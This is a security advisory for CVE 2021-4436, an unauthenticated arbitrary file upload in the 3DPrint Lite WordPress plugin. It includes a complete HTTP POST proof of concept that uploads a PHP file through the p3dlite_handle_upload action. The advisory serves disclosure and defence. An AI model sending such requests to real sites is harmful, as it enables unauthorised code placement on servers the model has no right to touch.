3DPrint Lite < 1.9.1.5 – Unauthenticated Arbitrary File Upload | CVE 2021-4436

Description

The plugin does not have any authorisation and does not check the uploaded file in its p3dlite_handle_upload AJAX action , allowing unauthenticated users to upload arbitrary file to the web server. However, there is a .htaccess, preventing the file to be accessed on Web servers such as Apache.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------54331109111293931601238262353
Content-Length: 366
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------54331109111293931601238262353
Content-Disposition: form-data; name="action"

p3dlite_handle_upload
-----------------------------54331109111293931601238262353
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: text/php

<?php echo 'Failed'; ?>
-----------------------------54331109111293931601238262353--